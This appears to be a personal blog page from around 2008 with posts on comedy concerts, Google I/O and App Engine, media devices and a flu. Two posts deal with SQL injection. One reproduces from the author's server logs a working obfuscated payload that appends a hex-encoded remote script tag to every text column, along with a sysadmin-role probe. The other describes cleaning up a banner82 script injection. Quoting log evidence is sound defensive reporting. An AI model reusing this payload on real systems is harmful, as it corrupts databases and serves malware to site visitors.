Well, sure enough the Flight of the Conchords played the after-hours party for the Google I/O conference. It was a shorter set than the show last night, but that is to be expected for a corporate gig I suppose. Thanks for the great food and awesome entertainment tonight Google!


If I had a camera that worked I would have uploaded my pictures, but since it is still broken from a fall on my birthday last year, this photo from Flickr pretty much captures the view we all had. It was a very intimate show. Also noteworthy, they played "Bowie" tonight.

Was it just me or did Brett seem a little hung over Maybe all those lovely bitches and hoes kept him up last night.


technorati: Flight of the Conchords, Google IO, IO2008

Created 57 weeks, 2 days ago

I am attending the Google I/O 2008 developer conference for the next two days. 70 topics on all things... you guessed it, Google.  The keynote this morning by Vic Gundotra, VP, Engineering definitely captured the spirit of the sessions, which isn't always the case with these types of gatherings.

So far I have attended a python overview by Guido van Rossum and two sessions on Google Application Engine by the GAE team.

Oh, that reminds me, a few big announcements today:

1. Google Application Engine is now open to everyone
2. Google App Engine now has an image manipulation module, and memcache
3. There were some Google App Engine cost estimates:
    They weren't final, but est. $40 for the free account limits
4. GWT now supports Java 5
5. Umm... and something about Open Social.

Update, just noticed that the GAE Blog has covered these points.

I will plan on posting a few more Google App Engine thoughts after the conference.



technorati: GoogleI/O, Google Application Engine, IO2008, GAE

Created 57 weeks, 2 days ago

Okay, just got back from the Flight of the Conchords show at the Nob Hill Masonic Auditorium. Great, fantastic, superb, hilarious comedy act.

We had tickets front-center in the balcony, and it was an amazing view view. Man those guys really got it goin' on. I had originally doubted any real musical talent from these guys, but I was totally proven wrong.

If you can score tickets to the add-on show this Thursday, do it! For me, as it turns out Google has some kind of FotC event planned for the Google I/O event I am attending Wednesday and Thursday. I'll let u know what it turns out to be.

And, as always, when discussing anything FotC, I always like to link others to Bret's other famous role.


technorati: Flight+of+the+Conchords, FotC

Created 57 weeks, 3 days ago

Yup, it was great. Go see it. Ten dollars, only. Plus, they pick Keanu out of the audience each night (as they say, for a more realisitc Keanu performance).

Ashley wrote some stuff about our show on her blog.



This is your wake-up call.



Created 57 weeks, 3 days ago

My mac sometimes falls into a pretty gnarly state where it won't wake up. The only solution is a hard reboot. Sadly, the last few times this happened I happened to be working on my latest Google Application Engine app and had it running when the reboot occurred.

Each time, this action has hosed my datastore. I did some looking around but I am fairly sure there is not a way to recover it. I have a few scripts that I run to regenerate the majority of test data that I need, but this is still a pain. No other dev environments I run have this same failure on reboot. I wonder if crashes on the product GAE platform will be equally as fatal to the datastore?


technorati: GAE, Google Application Engine, datastore

Created 57 weeks, 3 days ago

Here is another example of a SQL injection attack found while digging through my IIS logs.

These were appended to the end of the URI as HTTP GET. How long before we see these attacks as POST or inside the URI, not appended to the end?

---

dEcLaRe @t vArChAr(255),@c vArChAr(255) dEcLaRe tAbLe_cursoR cUrSoR FoR sElEcT a.nAmE,b.nAmE FrOm sYsObJeCtS a,sYsCoLuMnS b wHeRe a.iD=b.iD AnD a.xTyPe='u' AnD (b.xTyPe=99 oR b.xTyPe=35 oR b.xTyPe=231 oR b.xTyPe=167) oPeN tAbLe_cursoR fEtCh next FrOm tAbLe_cursoR iNtO @t,@c while(@@fEtCh_status=0) bEgIn exec('UpDaTe ['+@t+'] sEt ['+@c+']=['+@c+']+cAsT(0x223E3C2F7469746C653E3C736372697074207
372633D687474703A2F2F253733253631253739253338253245253735253
7332F732E6A733E3C2F7363726970743E3C212D2D aS vArChAr(67))') fEtCh next FrOm tAbLe_cursoR iNtO @t,@c eNd cLoSe tAbLe_cursoR dEAlLoCaTe tAbLe_cursoR;

202.165.185.210
HTTP/1.1 Mozilla/4.0

This request is always followed by another GET request with this SQL injection attack:

And Cast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))+char(124)=1

202.165.185.210
HTTP/1.1 Mozilla/4.0

---

This has all been brought to light because I have had to retrofit some of my older sites due to thier vulnerability to some of the mass SQL injection attacks lately.


technorati: SQL Injection

Created 57 weeks, 5 days ago

Saw M83 last night with Ario, Rick, Shilla and Ashley at Great American Music Hall. Wow what a show! Ario has the better write up so I am just going to link you over to him to read about the show.

I was pretty intrigued by the Lexan, light up control box that was on stage and had mondo presence the entire show. At some points it seemed like Anthony would actually be real-time modifying some digital output, but at other times I think he was just faking us out by pretending to be generating real-time effects that were actually pre-recorded. Either way, the box was cool looking and inspiring.


Created 58 weeks, 1 day ago

Some of my sites were hit by this recent Fast-fluxing SQL injection attack. Ugh. What a pain. I'm not sure it was through any of the older sites that I maintain or one of the newer sites I actively run. Searching my huge log files will be no fun.

I caught this the other day because I noticed that some of my sites had gone down with some strange cast errors. The cause turned out to be some foreign string data injected by a malicious remote attack in some of the configuration rows of my database. All through my db, various tables were comprised by a string appended to existing string data with variations on the theme "<script src=http://www.banner82.com/...>".

I cleaned up my data by doing the following:

1. Created a Search and SearchAndReplace stored procedure in my database
2. Searched for all variations on <script.... that were the result of the injection attack
3. Replaced all the found instances with nothing.

I think for the next few days I will run a few sanity queries just to make sure the attack isn't still ongoing while I look to cleanup the offending input.







technorati: fast-flux, virus, banner82, sql injection

Created 58 weeks, 1 day ago

Yes, I actually do covet these seats. If you buy the tickets, I'll cover the concessions. We can all sit together if you shell out for all four seats.




technorati: Spurs, Lakers, tickets

Created 58 weeks, 2 days ago

Netflix has announced that they are now supporting set-top appliances that work with their instant (on-demand) movie service. The first appliance available is one The Netflix Player from Roku (who makes the SoundBridge) and it retails for $99.



Ash and I have been using the Apple TV for about 3 months now (since we kicked Comcast cable TV to the curb) and we really like it. The only pain is getting existing DVD titles into Apple TV format; it takes some time and a somewhat above-average knowledge of video transcoding. I think we would both agree that it would be nice to have access to (free*) Video on Demand content like this offering from Netflix since we already have access to this with our Netflix account.

* because the iTunes quality vs. cost is a very bad deal. Typically, TV shows are encoded to iPod quality, not 47" TV format. It makes more sense to buy the DVD and transcode it yourself

---

So, if Ashley buys one I hope to learn a few things about this device.

• What format does the content come in? Are they are licensing hardware decoding for the same video technology they use to stream to the PC (DRM with WMP) or does this use a new format available at another location (like youtube mp4 content).
  
• What kind of hardware is in this puppy? Embedded windows? linux?
  
• Because Roku has no recurring revenue for this device, what kind of product support do they plan? What does the roadmap for HD/+ look like? (I suppose 100$ isn't much to shell out for a few years worth of supported playback)
• Are we going to see support for anything other than Netflix Instant Queue on any of the Netflix appliances? I really like how Windows Media Extenders work and the plug-in architecture there seems really tight. The distinguishing factor for the Apple TV for me was the iTunes store support from within the device. If Microsoft can pull off something similar I would think about moving to Windows Media Center (IPTV!).
  

technorati: Roku, Netflix Movie Player, Instant, Netflix, apple TV

Created 58 weeks, 3 days ago

I went to the Google App Engine hack-a-thon on Friday in San Francisco. I arrived around 10:30 AM and stayed until 8:30 PM or so. The following is a list of some of my initial thoughts on Google App Engine. Keep in mind that I am still coming up to speed in Python, and that I come most recently from a .net background.

---

1. The datastore is dead simple. I wonder about performance because of this though. I still have some confusion over the user object in the DB and how it receives changes when they are made upstream.
   
2. The developer documentation isn't as nearly as complete at it should be for actual open development. It seems to me that even python isn't as well documented as it should be and now that Google has added another layer to simplify things they need to do a good job of documenting error strings and some additional examples of code-usage. I am of course basing all of this on my experience and like of MSDN docs.
3. The hack-a-thon itself was quiet and the food was great, however the all-day presentation was hard to follow and the announcements and public itinerary didn't seem to match what actually went down. The staff had prepared a sample application to go through in order to explore the different parts of a web application and started the presentation early in the morning. I would say about half of the room arrived after I did and I don't recall anyone recapping what the itinerary was or what was going on until lunch-time. Also, I wish the staff would have broken the tables out into function and had each table work on some code together. With shared Google-docs and some file-system mapping, we could have been collaborating on something together.
4. I didn't arrive with a very good idea of what Google Application Engine was. I don't think that the presentation covered any of the basics, purpose of Google App Engine. However, after about 2 hours of intent analysis, I GOT it. And I must say that I am a bit excited by it. I really like the authentication scheme.
5. It was explained over and over that GAE only supports only pure Python modules. It would be nice to see a list of these published somewhere. Maybe I will look into that. Also, pulling these down has to be a manual process I think. No easy_install for that in a GAE project.
6. I did manage to catch and comprehend the quick walkthrough of using GAE with PyDev and now that is my preferred way of working with GAE and Python. Debugging is great. However, does anyone know how to trace to console with PyDev/Eclipse and GAE?
   

---

Thats about all I can think of for now. I hope to publish the application I worked on during the Hack-a-thon sometime early this week. Look out for the announcement and code soon


technorati: Google, GAE, Google Application Engine

Created 58 weeks, 4 days ago

I don't really enjoy many movies to the point of sitting down and watching them all the way through. I just don't have the patience for most. The Indiana Jones franchise is actually one that I will sit through however, and be totally engrossed. So you can imagine that I am very excited over the release of another movie into the series.

And thanks to Ashley, we got our tickets already. We are going on Thursday evening. We prepared for it by watching all 3 of the movies during our Indiana Jones-a-thon this last Sunday afternoon.

Guess which company bought out the tickets for the following show times (indicated by strike-outs)?


Lets just say they really know how to take care of their peeps.


Created 58 weeks, 4 days ago

I just saw this ad from a premiere iPhone 3rd-party case manufacturer:

A 75% sale seems to indicate that they know something about the next-gen iPhones.

technorati: iPhone, Apple

Created 58 weeks, 4 days ago

I caught a cold the last week in April and was able to shake it pretty quickly. Then friends of mine started catching the flu, and it looked like a nasty strain. It was dubbed the Noe Valley Virus because everyone sick we knew live in the City. Ario had it but seemed to have recovered in time to join us for Makerfaire two weekends ago. I doubt he was contagious when we met up (but who knows).

I don't think I caught it from him, I think I actually got it from work. A coworker of mine seems to have gotten sick the same time I did, I blame it on a taqueria that we both went to or maybe we caught it from someone we work with. What is worrying me is that another friend that no one sick has come into contact with just came down with it too. When I saw him I didn't touch him or breathe near him. Maybe it is in the water supply?

So, 7 days later I am back at work. The stages were:

Day 0: 100 degree fever - 6 hours, 99 degree fever - 6 hours, back + muscle ache
Day 1: 100 degree fever - 2 hours, 99 degree fever - 6 hours, back + muscle ache
Day 2: 99 degree fever - 4 hours, onset of raw throat, back ache
Day 3: Acid-burn throat flavor, fatigue, coughing
Day 4: Fire-burn throat, head congestion, fatigue, night coughing
Day 5: Sore throat, head congestion, fatigue, night coughing
Day 6: Sore throat, drainage, fatigue, sneezing, night coughing
Day 7: Sore throat, night coughing, phlegm

Sorry Deano, that's what you have to look forward to :/




Created 59 weeks, 2 days ago

I have transcoded or purchased enough movies to hit 100 in our digital library. Total size: 289 GB, total running time: 8.1 days. I hope to get all of the movies Ashley came with on there in the next few weeks. I wish Apple had put an optical drive on the damn thing with some transcoding software though, leaving the PC on all day is costing me dinero.


Created 60 weeks, 3 days ago

Rush, you guys still rock. Caught the concert in Concord on Sunday, and my ears are still ringing a bit. We did see them about six months ago in Mountain view, the show was a bit different; this amphitheatre was louder and the price for beer was higher. I am constantly impressed by the lighting and media displays that Rush brings with them. The pyrotechnics were definitely louder than the R30 tour, just not as hot or as often.




Created 60 weeks, 3 days ago